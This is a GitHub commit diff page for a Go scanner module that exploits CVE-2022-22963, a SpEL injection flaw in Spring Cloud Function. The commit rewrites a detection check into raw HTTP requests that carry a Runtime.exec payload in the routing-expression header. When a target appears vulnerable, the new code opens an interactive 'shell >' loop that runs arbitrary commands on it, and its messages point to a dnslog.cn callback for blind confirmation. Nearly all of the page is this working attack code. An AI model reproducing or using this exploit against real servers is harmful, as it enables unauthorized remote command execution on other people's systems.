-
Notifications
You must be signed in to change notification settings - Fork 20
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
5 changed files
with
158 additions
and
225 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,59 +1,105 @@ | ||
| package exppackage | ||
|
|
||
| import ( | ||
| "bufio" | ||
| "crypto/tls" | ||
| "fmt" | ||
| "github.com/fatih/color" | ||
| "io/ioutil" | ||
| "net/http" | ||
| "net" | ||
| "net/url" | ||
| "os" | ||
| "ssp/common" | ||
| "strings" | ||
| "time" | ||
| ) | ||
|
|
||
| func CVE_2022_22963(url string) { | ||
| payload := `T(java.lang.Runtime).getRuntime().exec("id")` | ||
| data := "test" | ||
| header := map[string]string{ | ||
| "spring.cloud.function.routing-expression": payload, | ||
| "Accept-Encoding": "gzip, deflate", | ||
| "Accept": "*/*", | ||
| "Accept-Language": "en", | ||
| "User-Agent": common.GetRandomUserAgent(), | ||
| "Content-Type": "application/x-www-form-urlencoded", | ||
| func CVE_2022_22963(targetURL string) { | ||
| parsedURL, err := url.Parse(targetURL) | ||
| if err != nil { | ||
| fmt.Println("URL parsing error:", err) | ||
| } | ||
| path := "functionRouter" | ||
|
|
||
| client := &http.Client{ | ||
| Timeout: 6 * time.Second, | ||
| requestHeaders := []string{ | ||
| fmt.Sprintf("POST %s HTTP/1.1", "/functionRouter"), | ||
| fmt.Sprintf("Host: %s", parsedURL.Host), | ||
| "Accept-Encoding: gzip, deflate", | ||
| "Accept: */*", | ||
| "Accept-Language: en", | ||
| "User-Agent: Go-http-client/1.1", | ||
| "Content-Type: application/x-www-form-urlencoded", | ||
| "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"whoami\")", | ||
| "Connection: close", | ||
| "", | ||
| "", | ||
| } | ||
|
|
||
| urltest := url + path | ||
| req, err := http.NewRequest("POST", urltest, strings.NewReader(data)) | ||
| if err != nil { | ||
| fmt.Println("Error creating request:", err) | ||
| return | ||
| var conn net.Conn | ||
| if parsedURL.Scheme == "https" { | ||
| conn, err = tls.Dial("tcp", parsedURL.Host, &tls.Config{InsecureSkipVerify: true}) | ||
| } else { | ||
| conn, err = net.Dial("tcp", parsedURL.Host) | ||
| } | ||
|
|
||
| for key, value := range header { | ||
| req.Header.Set(key, value) | ||
| if err != nil { | ||
| fmt.Println("Connection error:", err) | ||
| } | ||
| defer conn.Close() | ||
|
|
||
| resp, err := client.Do(req) | ||
| request := strings.Join(requestHeaders, "\r\n") | ||
| _, err = conn.Write([]byte(request)) | ||
| if err != nil { | ||
| color.Yellow("[-] URL为：%s，的目标积极拒绝请求，予以跳过\n", url) | ||
| return | ||
| fmt.Println("Failed to send request:", err) | ||
| } | ||
| defer resp.Body.Close() | ||
|
|
||
| body, err := ioutil.ReadAll(resp.Body) | ||
| response, err := bufio.NewReader(conn).ReadString('\n') | ||
| if err != nil { | ||
| fmt.Println("Error reading response:", err) | ||
| return | ||
| fmt.Println("Failed to read response:", err) | ||
| } | ||
|
|
||
| if resp.StatusCode == 500 && strings.Contains(string(body), `"error":"Internal Server Error"`) { | ||
| common.PrintVulnerabilityConfirmation("CVE-2022-22963", url, "存在漏洞，由于该漏洞无回显，请用Dnslog进行测试", "4") | ||
| if strings.Contains(response, "500 Internal Server Error") { | ||
| common.PrintVulnerabilityConfirmation("CVE-2022-22963", targetURL, "存在漏洞，由于该漏洞无回显，请用Dnslog进行测试,shell中输入curl xxx.dnslog.cn", "4") | ||
| common.Vulnum++ | ||
| for { | ||
| var Cmd string | ||
| reader := bufio.NewReader(os.Stdin) | ||
|
|
||
| fmt.Print("shell > ") | ||
| Cmd, _ = reader.ReadString('\n') | ||
| Cmd = strings.TrimSpace(Cmd) | ||
| if Cmd == "exit" { | ||
| os.Exit(0) | ||
| } | ||
| requestHeaders = []string{ | ||
| fmt.Sprintf("POST %s HTTP/1.1", "/functionRouter"), | ||
| fmt.Sprintf("Host: %s", parsedURL.Host), | ||
| "Accept-Encoding: gzip, deflate", | ||
| "Accept: */*", | ||
| "Accept-Language: en", | ||
| "User-Agent: Go-http-client/1.1", | ||
| "Content-Type: application/x-www-form-urlencoded", | ||
| fmt.Sprintf("spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"%s\")", Cmd), | ||
| "Connection: close", | ||
| "", | ||
| "", | ||
| } | ||
|
|
||
| if parsedURL.Scheme == "https" { | ||
| conn, err = tls.Dial("tcp", parsedURL.Host, &tls.Config{InsecureSkipVerify: true}) | ||
| } else { | ||
| conn, err = net.Dial("tcp", parsedURL.Host) | ||
| } | ||
| if err != nil { | ||
| fmt.Println("Connection error:", err) | ||
| } | ||
| defer conn.Close() | ||
|
|
||
| request := strings.Join(requestHeaders, "\r\n") | ||
| _, err = conn.Write([]byte(request)) | ||
| if err != nil { | ||
| fmt.Println("Failed to send request:", err) | ||
| } | ||
| color.Red("Payload 已打出，请到Dnslog平台查看结果\n") | ||
| } | ||
| } else { | ||
| color.Yellow("[-] %s 未发现CVE-2022-22963远程命令执行漏洞\n", url) | ||
| color.Yellow("[-] %s 未发现CVE-2022-22963远程命令执行漏洞\n", targetURL) | ||
| } | ||
|
|
||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.